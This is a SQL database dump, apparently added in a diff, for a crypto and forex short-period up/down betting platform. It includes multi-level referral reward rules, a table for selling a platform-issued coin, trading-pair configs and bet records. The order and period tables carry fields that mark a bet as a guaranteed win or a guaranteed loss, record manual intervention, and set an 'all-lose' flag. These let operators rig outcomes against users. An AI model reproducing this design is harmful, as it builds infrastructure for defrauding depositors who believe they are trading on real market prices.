', '0', '2023-09-08 11:19:05', 10, NULL); +INSERT INTO `t_option_rules` VALUES (100127, '推广中心规则', 'zh', '

推广规则

如果用户使用了您的邀请码注册,即为您的下级。这个用户再次的邀请用户,即为您的二级下级。 of Stake,即权益证明)机制产生的奖励。在这个机制中,用户将数字资产委托给节点,节点在区块链上行使出块、打包交易等权利并获得奖励。用户根据锁仓数量按比例分享节点获得的奖励。

推广奖励

如果用户使用了您的邀请码注册,即为您的下级。这个用户再次的邀请用户,即为您的二级下级。

1.下级充值奖励。

您的下级进行充值,您即可获得他充值金额的1%作为奖励。

2.下级挖矿奖励。

您的下级,如果进行了锁仓挖矿。那么你也可以获得对应的收益。

例:A-B-C-D-E..

A可以获得B收益的3%

A可以获得C收益的2%

A可以获得D收益的1%

B可以获得C收益的3%

B可以获得D收益的2%

B可以获得E收益的1%

', '0', '2023-09-08 11:21:04', 11, NULL); +INSERT INTO `t_option_rules` VALUES (100128, '推广中心规则', 'en', '

promotion rules


If a user registers using your invitation code, they are your subordinates. This user invites users again and becomes your second-level subordinate. of Stake (Proof of Stake) mechanism. In this mechanism, users entrust digital assets to nodes, and nodes exercise their rights to produce blocks, package transactions, etc. on the blockchain and receive rewards. Users share the rewards obtained by nodes in proportion to the number of locked positions.


promotion reward


If a user registers using your invitation code, they are your subordinates. This user invites users again and becomes your second-level subordinate.


1. Subordinate recharge rewards.


When your subordinate recharges, you can get 1% of his recharge amount as a reward.


2. Lower level mining rewards.


Your subordinates, if lock mining is carried out. Then you can also get the corresponding benefits.


Example: A-B-C-D-E..


A can get 3% of B\'s income


A can get 2% of C\'s income


A can get 1% of D\'s income


B can get 3% of C\'s income


B can get 2% of D\'s income


B can get 1% of E\'s income

', '0', '2023-09-08 11:22:23', 11, NULL); + +-- ---------------------------- +-- Table structure for t_own_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_own_coin`; +CREATE TABLE `t_own_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `logo` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `refer_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种', + `refer_market` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种交易所', + `show_symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示名称', + `price` decimal(20, 4) NULL DEFAULT NULL COMMENT '初始价格(单位USDT)', + `proportion` decimal(20, 4) NULL DEFAULT NULL COMMENT '价格百分比', + `raising_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '私募发行量', + `raised_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '已筹集额度', + `purchase_limit` int(0) NULL DEFAULT NULL COMMENT '预购上限', + `total_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '总发行量', + `participants_num` int(0) NULL DEFAULT NULL COMMENT '参与人数', + `raising_time` int(0) NULL DEFAULT NULL COMMENT '筹集期限', + `begin_time` datetime(0) NULL DEFAULT NULL COMMENT '开始时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '结束时间', + `introduce` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '介绍', + `status` int(0) NULL DEFAULT NULL COMMENT '1.未发布 2.筹集中 3 筹集成功 4.筹集失败', + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '平台发币' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_own_coin_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_own_coin_order`; +CREATE TABLE `t_own_coin_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户ID', + `order_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订单ID', + `own_id` bigint(0) NULL DEFAULT NULL COMMENT '申购币种ID', + `own_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '申购币种', + `amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '申购额(usdt)', + `number` int(0) NULL DEFAULT NULL COMMENT '申购数量', + `price` decimal(20, 2) NULL DEFAULT NULL COMMENT '申购价', + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '状态', + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '上级用户IDS', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '上级后台用户IDS', + `create_time` datetime(0) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0), + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_own_coin_subscribe_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_own_coin_subscribe_order`; +CREATE TABLE `t_own_coin_subscribe_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `subscribe_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订阅单号ID', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户ID', + `order_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订单ID', + `own_id` bigint(0) NULL DEFAULT NULL COMMENT '申购币种ID', + `own_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '申购币种', + `amount_limit` decimal(20, 4) NOT NULL DEFAULT 0.0000 COMMENT '申购额(usdt)', + `num_limit` int(0) NOT NULL DEFAULT 0 COMMENT '申购数量上限', + `price` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '申购价', + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '状态,1订阅中、2订阅成功、3成功消息推送完成', + `remark` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '备注', + `create_time` datetime(0) NULL DEFAULT CURRENT_TIMESTAMP(0), + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0), + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_second_coin_config +-- ---------------------------- +DROP TABLE IF EXISTS `t_second_coin_config`; +CREATE TABLE `t_second_coin_config` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '合约交易对', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '所属交易所', + `status` int(0) NULL DEFAULT NULL COMMENT '是否启用 2关闭 1启用', + `show_flag` int(0) NULL DEFAULT NULL COMMENT '是否展示 2不展示 1展示', + `coin` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `base_coin` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '结算币种', + `show_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示币种', + `type` int(0) NULL DEFAULT NULL COMMENT '币种类型 1 外汇 2虚拟币', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 67 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '秒合约币种配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_second_coin_config +-- ---------------------------- +INSERT INTO `t_second_coin_config` VALUES (42, 'btcusdt', 'binance', 1, 1, 'btc', 0, 'admin', '2023-08-21 19:31:45', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'usdt', 'BTC/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (43, 'ethusdt', 'binance', 1, 1, 'eth', 1, 'admin', '2023-08-21 19:32:18', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'usdt', 'ETH/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (44, 'xrpusdt', 'binance', 1, 1, 'xrp', 2, 'admin', '2023-08-21 19:32:45', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'usdt', 'XRP/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (45, 'ltcusdt', 'binance', 1, 1, 'ltc', 3, 'admin', '2023-08-21 19:33:09', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'usdt', 'LTC/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (46, 'bnbusdt', 'binance', 1, 1, 'bnb', 4, 'admin', '2023-08-21 19:33:38', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'usdt', 'BNB/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (47, 'maticusdt', 'binance', 1, 1, 'matic', 5, 'admin', '2023-08-21 19:34:55', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'usdt', 'MATIC/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (48, 'solusdt', 'binance', 1, 1, 'sol', 6, 'admin', '2023-08-21 19:35:15', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'usdt', 'SOL/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (49, 'dogeusdt', 'binance', 1, 1, 'doge', 7, 'admin', '2023-08-21 19:35:41', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'usdt', 'DOGE/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (50, 'trxusdt', 'binance', 1, 1, 'trx', 8, 'admin', '2023-08-21 19:35:56', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'usdt', 'TRX/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (53, 'blzusdt', 'binance', 1, 1, 'blz', 9, 'admin', '2023-08-22 10:22:37', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', 'usdt', 'BLZ/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (57, 'leverusdt', 'binance', 1, 1, 'lever', 11, 'admin', '2023-08-22 17:18:15', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', 'usdt', 'LEVER/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (58, 'EURUSD', 'mt5', 1, 1, 'EURUSD', 21, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:30:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURUSD.png', 'EURUSD', 'EURUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (59, 'NZDUSD', 'mt5', 1, 1, 'NZDUSD', 22, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:30:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDUSD.png', 'NZDUSD', 'NZDUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (60, 'GBPUSD', 'mt5', 1, 1, 'GBPUSD', 23, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:30:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPUSD.png', 'GBPUSD', 'GBPUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (61, 'USDJPY', 'mt5', 1, 1, 'USDJPY', 24, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:32:44', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDJPY.png', 'USDJPY', 'USDJPY', 1); +INSERT INTO `t_second_coin_config` VALUES (62, 'AUDUSD', 'mt5', 1, 1, 'AUDUSD', 25, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:33:31', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDUSD.png', 'AUDUSD', 'AUDUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (63, 'AUDJPY', 'mt5', 1, 1, 'AUDJPY', 26, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:34:15', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDJPY.png', 'AUDJPY', 'AUDJPY', 1); +INSERT INTO `t_second_coin_config` VALUES (64, 'GBPJPY', 'mt5', 1, 1, 'GBPJPY', 27, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:34:18', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPJPY.png', 'GBPJPY', 'GBPJPY', 1); +INSERT INTO `t_second_coin_config` VALUES (65, 'XAU', 'metal', 1, 1, 'XAU', 31, 'admin', '2023-08-22 17:18:15', NULL, '2023-11-18 16:38:10', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAU.png', 'XAU', 'XAU/USDT', 3); +INSERT INTO `t_second_coin_config` VALUES (66, 'XAG', 'metal', 1, 1, 'XAG', 32, 'admin', '2023-08-22 17:18:15', NULL, '2023-11-18 16:39:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAG.png', 'XAG', 'XAG/USDT', 3); + +-- ---------------------------- +-- Table structure for t_second_contract_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_second_contract_order`; +CREATE TABLE `t_second_contract_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `order_no` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '订单号', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '交易对', + `type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '类型', + `user_id` int(0) NOT NULL COMMENT '用户id', + `user_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '用户地址', + `bet_content` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '预测方向:0 涨 1跌', + `open_result` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '开奖结果', + `status` int(0) NOT NULL COMMENT '订单状态 0参与中 1已开奖 2已撤销', + `rate_flag` int(0) NULL DEFAULT NULL COMMENT '是否全输', + `bet_amount` decimal(16, 4) NOT NULL COMMENT '投注金额', + `reward_amount` decimal(16, 4) NULL DEFAULT NULL COMMENT '获奖金额', + `compensation_amount` decimal(16, 4) NULL DEFAULT 0.0000 COMMENT '赔偿金额', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `open_price` decimal(20, 12) NULL DEFAULT NULL COMMENT '开盘价格', + `close_price` decimal(20, 12) NULL DEFAULT NULL COMMENT '关盘价格', + `open_time` bigint(0) NULL DEFAULT NULL COMMENT '开盘时间', + `close_time` bigint(0) NULL DEFAULT NULL COMMENT '关盘时间', + `coin_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易币符号', + `base_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '结算币符号', + `sign` int(0) NULL DEFAULT NULL COMMENT '订单标记 0正常 1包赢 2包输', + `manual_intervention` int(0) NULL DEFAULT NULL COMMENT '是否人工干预 0是 1否', + `rate` decimal(16, 6) NULL DEFAULT NULL, + `create_by` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台代理ID', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1612 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '秒合约订单' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_second_contract_order +-- ---------------------------- +INSERT INTO `t_second_contract_order` VALUES (1600, 'R1229102630996', 'btcusdt', '30', 309, NULL, '0', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2023-12-29 18:26:21', 42710.070000000000, 41163.510000000000, 1703845579856, 1703845609313, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1601, 'R0119040720814', 'btcusdt', '30', 315, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:07:08', 41130.400000000000, 41163.510000000000, 1705637228060, 1705637256212, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1602, 'R0119041378875', 'btcusdt', '30', 309, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:13:49', 41060.000000000000, 41163.510000000000, 1705637628690, 1705637656790, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1603, 'R0119041432296', 'btcusdt', '30', 309, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:14:58', 41062.080000000000, 41163.510000000000, 1705637698351, 1705637726324, 'btc', 'usdt', 1, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1604, 'R0119041986880', 'btcusdt', '30', 320, NULL, '1', '1', 1, 1, 20.0000, 22.4000, 0.0000, '2024-01-19 12:19:31', 41144.940000000000, 41163.510000000000, 1705637970886, 1705637998870, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1605, 'R0119042149621', 'btcusdt', '30', 315, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:21:32', 41177.140000000000, 41194.000000000000, 1705638091348, 1705638119499, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1606, 'R0119042127854', 'btcusdt', '30', 320, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:21:32', 41177.140000000000, 41194.000000000000, 1705638092302, 1705638120280, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1607, 'R0119042345063', 'btcusdt', '30', 315, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-01-19 12:23:02', 41210.680000000000, 41179.220000000000, 1705638182319, 1705638210452, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1608, 'R0119070836062', 'btcusdt', '30', 309, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-01-19 15:08:19', 41496.360000000000, 41489.540000000000, 1705648098873, 1705648127363, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1609, 'R0119111043919', 'bnbusdt', '30', 320, NULL, '1', '3', 1, 1, 10.0000, 10.0000, 0.0000, '2024-01-19 19:10:20', 313.900000000000, 313.900000000000, 1705662620379, 1705662648442, 'bnb', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1610, 'R021108153163', 'btcusdt', '30', 309, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-02-11 16:15:55', 48257.410000000000, 48252.000000000000, 1707639356922, 1707639383034, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1611, 'R0211081641474', 'btcusdt', '30', 309, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-02-11 16:16:10', 48254.300000000000, 48233.990000000000, 1707639355400, 1707639398416, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_second_period_config +-- ---------------------------- +DROP TABLE IF EXISTS `t_second_period_config`; +CREATE TABLE `t_second_period_config` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `second_id` bigint(0) NULL DEFAULT NULL COMMENT '秒合约币种配置id', + `period` int(0) NULL DEFAULT NULL COMMENT '时间周期 单位秒', + `odds` decimal(18, 4) NULL DEFAULT NULL COMMENT '赔率', + `max_amount` decimal(18, 4) NULL DEFAULT NULL COMMENT '最大金额', + `min_amount` decimal(18, 4) NULL DEFAULT NULL COMMENT '最小金额', + `status` int(0) NULL DEFAULT NULL COMMENT '1开启 2关闭', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `flag` int(0) NULL DEFAULT NULL COMMENT '全输标识', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 96 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '秒合约币种周期配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_second_period_config +-- ---------------------------- +INSERT INTO `t_second_period_config` VALUES (21, 42, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:04:07', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (22, 42, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:05:45', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (23, 42, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:05:56', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (24, 42, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:06:04', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (25, 42, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:06:10', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (26, 43, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:18:53', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (27, 43, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:18:59', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (28, 43, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:19:10', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (29, 43, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:19:19', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (30, 43, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:19:27', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (31, 44, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:19:45', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (32, 44, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:20:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (33, 44, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:20:38', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (34, 44, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:20:46', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (35, 44, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:20:53', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (36, 45, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:21:34', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (37, 45, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:21:40', NULL, NULL, 1); 